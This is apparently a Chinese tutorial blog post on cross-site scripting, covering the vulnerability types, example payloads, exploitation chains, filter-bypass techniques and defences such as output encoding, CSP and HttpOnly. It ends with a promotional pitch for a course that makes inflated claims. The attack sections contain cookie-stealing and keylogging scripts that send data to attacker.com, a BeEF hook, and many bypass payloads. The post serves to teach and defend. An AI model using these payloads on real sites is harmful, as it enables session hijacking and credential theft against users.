XSS(Cross-Site Scripting)是与SQL注入并列的Web安全两大经典漏洞,也是前端安全的第一杀手。本文系统梳理XSS的三大类型、利用链、绕过技巧与防御体系,包括CSP、HttpOnly、输出编码等核心防御手段,适合前端开发与Web安全入门者。 
前言
XSS的全称是Cross-Site Scripting(跨站脚本),为了和CSS区分缩写成XSS。它的本质和SQL注入同源:用户输入被当作代码执行了——只不过SQL注入执行的是SQL,XSS执行的是JavaScript。
XSS的危害往往被低估。很多人觉得"不就是弹个框吗",但实际上XSS可以:窃取Cookie劫持会话、窃取密码、钓鱼、键盘记录、内网扫描、甚至配合CSRF完成越权操作。在存储型XSS下,一个payload可以感染所有访问该页面的用户。
这篇文章把XSS从原理到防御讲透。
一、XSS原理与三大类型
1.1 漏洞根因
<!– 不安全的渲染 –>
<div>欢迎你,<?php echo $_GET['name']; ?></div>
用户传入name=<script>alert(1)</script>,页面输出:
<div>欢迎你,<script>alert(1)</script></div>
浏览器把用户输入当作脚本执行了。
1.2 三大类型对比
| 反射型XSS | URL参数 | 不存储 | 单次点击 | 搜索框、错误页 |
| 存储型XSS | 数据库/文件 | 持久化 | 所有访问者 | 评论、昵称、留言板 |
| DOM型XSS | 前端JS | 不经过服务器 | 单次点击 | 前端路由、location.hash |
1.3 反射型XSS
payload藏在URL里,服务器把参数拼进HTML返回。需要诱骗用户点击链接。
http://target.com/search?q=<script>alert(document.cookie)</script>
1.4 存储型XSS
payload被存入数据库,所有访问该数据的用户都会触发。危害最大,不需要社工诱骗。
典型:评论区输入<img src=x onerror=alert(1)>,存入数据库后,每个看评论的人都中弹。
1.5 DOM型XSS
服务器不参与,完全在前端JS中通过DOM操作触发。
// 不安全的前端代码
document.getElementById('msg').innerHTML = location.hash.slice(1);
访问http://target.com/#<img src=x onerror=alert(1)>触发,payload不经过服务器。
二、XSS常见Payload
2.1 经典Payload
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src=javascript:alert(1)>
<a href=javascript:alert(1)>click</a>
2.2 无script标签的Payload
<!– 事件触发 –>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>
<!– 协议触发 –>
<a href="javascript:alert(1)">x</a>
<iframe src="javascript:alert(1)"></iframe>
<object data="javascript:alert(1)"></object>
2.3 窃取Cookie的Payload
<script>
new Image().src = 'http://attacker.com/steal?c=' + document.cookie;
</script>
<script>
fetch('http://attacker.com/steal?c=' + document.cookie);
</script>
2.4 BeEF框架利用
BeEF(Browser Exploitation Framework)是XSS利用的专业工具,挂接后可对浏览器进行:
- 命令执行(浏览器内)
- 内网端口扫描
- 摄像头/麦克风调用
- 钓鱼页面注入
- 持久化控制
<script src="http://attacker.com:3000/hook.js"></script>
三、XSS利用链
3.1 会话劫持(最常见)
存储型XSS → 窃取Cookie → 攻击者用Cookie登录 → 会话劫持
如果Cookie没有设置HttpOnly,JS就能读取document.cookie。
3.2 配合CSRF越权操作
XSS拿到了用户的执行环境,可以直接发起带Cookie的请求,绕过CSRF Token(因为可以读Token):
// 读取CSRF Token后发起改密请求
fetch('/change-password', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({newpass: 'hacker123', token: csrfToken})
});
3.3 键盘记录
document.onkeypress = function(e) {
new Image().src = 'http://attacker.com/log?k=' + e.key;
};
3.4 钓鱼
在登录页面注入伪造的登录框,窃取明文密码。
3.5 内网渗透
被XSS的浏览器相当于一个"内网跳板",可通过JS扫描内网IP、探测内网服务。
四、XSS绕过技巧
4.1 标签过滤绕过
<!– script被过滤 –>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body/onload=alert(1)>
<!– 所有标签被过滤,用HTML实体 –>
<script>alert(1)</script>
4.2 属性过滤绕过
<!– onerror被过滤,换事件 –>
<img src=x onmouseover=alert(1)>
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<!– 空格被过滤 –>
<img/src=x/onerror=alert(1)>
<img%09src=x%09onerror=alert(1)>
4.3 关键字过滤绕过
<!– alert被过滤 –>
<img src=x onerror="window['al'+'ert'](1)">
<img src=x onerror="eval('ale'+'rt(1)')">
<img src=x onerror="top['al\\x65rt'](1)">
<!– 大小写混合 –>
<ScRiPt>alert(1)</ScRiPt>
<!– 双写 –>
<scrscriptipt>alert(1)</scrscriptipt>
4.4 编码绕过
<!– HTML实体编码 –>
<img src=x onerror=alert(1)>
<!– Unicode编码 –>
<img src=x onerror=\\u0061lert(1)>
<!– URL编码(在URL参数中) –>
%3Cscript%3Ealert(1)%3C/script%3E
<!– Base64(data协议) –>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
4.5 长度限制绕过
<!– 用短标签 –>
<svg/onload=alert(1)> <!– 23字符 –>
<iframe onload=alert(1)> <!– 27字符 –>
<!– 拆分到多处注入 –>
位置1: <script>/*
位置2: */alert(1)</script>
五、防御与安全开发
5.1 输出编码(最核心)
根据输出位置选择编码方式:
| HTML内容 | HTML实体编码(<→<) |
| HTML属性 | HTML属性编码(引号转义) |
| JavaScript | JS Unicode编码 |
| URL参数 | URL编码 |
| CSS | CSS十六进制编码 |
// PHP
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
// Python (Django)
{{ input|escape }}
// Java
StringEscapeUtils.escapeHtml(input);
5.2 CSP(内容安全策略)
CSP通过HTTP头白名单限制可执行的脚本来源,是XSS的纵深防御核心:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'self'
CSP关键指令:
- script-src:限制脚本来源,设为'self'禁止内联脚本
- nonce-xxx:每次请求生成随机nonce,只有带对应nonce的脚本才能执行
- object-src 'none':禁止<object>、<embed>、<applet>
- base-uri 'self':防止<base>标签劫持相对路径
5.3 Cookie安全属性
Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Strict
- HttpOnly:禁止JS读取Cookie,阻止最常见的Cookie窃取
- Secure:仅HTTPS传输
- SameSite=Strict/Lax:阻止跨站请求携带Cookie,防CSRF
5.4 输入校验与过滤
- 白名单校验:只允许预期字符集
- 长度限制
- 黑名单(辅助手段,不能作为唯一防御)
5.5 现代框架的XSS防护
| React | JSX默认转义 | dangerouslySetInnerHTML |
| Vue | 默认转义 | v-html |
| Angular | 默认净化 | bypassSecurityTrustHtml |
| Django模板 | 默认转义 | |safe |
关键:永远不要用框架的"原始HTML"接口渲染不可信内容。
5.6 WAF与浏览器保护
- X-XSS-Protection: 1; mode=block(现代浏览器已逐步废弃)
- WAF拦截已知XSS特征(辅助,不能替代输出编码)
总结
XSS攻防的核心逻辑:
攻击方:让用户输入变成浏览器执行的脚本
防御方:让用户输入永远只是"文本"
XSS防御金字塔(从底到顶):
CSP(纵深防御)
HttpOnly Cookie(防窃取)
现代框架自动转义(开发友好)
输出编码(核心,必须做对)
输入白名单校验(第一道关)
给开发者的三条铁律:
XSS看起来"古老",但在SPA、富文本编辑器、用户生成内容(UGC)场景里依然是高发区。理解了原理,才能在各种新框架里识别出它的变体。
学习资源
2026年最新版本,全网最全的网安视频教程。耗时半年打造,之前都是内部资源,专业方面绝对可以秒杀国内99%的机构和个人教学!全网独一份,你不可能在网上找到这么专业的教程。
内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。 
总共200多节视频,200多G的资源,不用担心学不全。(包含攻击与防守、漏洞挖掘、CTF比赛等技术点)
1、知识库价值
深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。 
广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。
实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。
2、部分核心内容展示
独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。
内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。
1、网络安全意识 
2、Linux操作系统 
3、WEB架构基础与HTTP协议 
4、Web渗透测试 
5、渗透测试案例分享 
6、渗透测试实战技巧 
7、攻防对战实战 
8、CTF之MISC实战讲解 
3、适合学习的人群
一、基础适配人群
- 零基础转型者:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链
- 开发/运维人员:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展或者转行就业
- 应届毕业生:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期
二、能力提升适配
因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传,戳下面拿:
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源 

————————————————




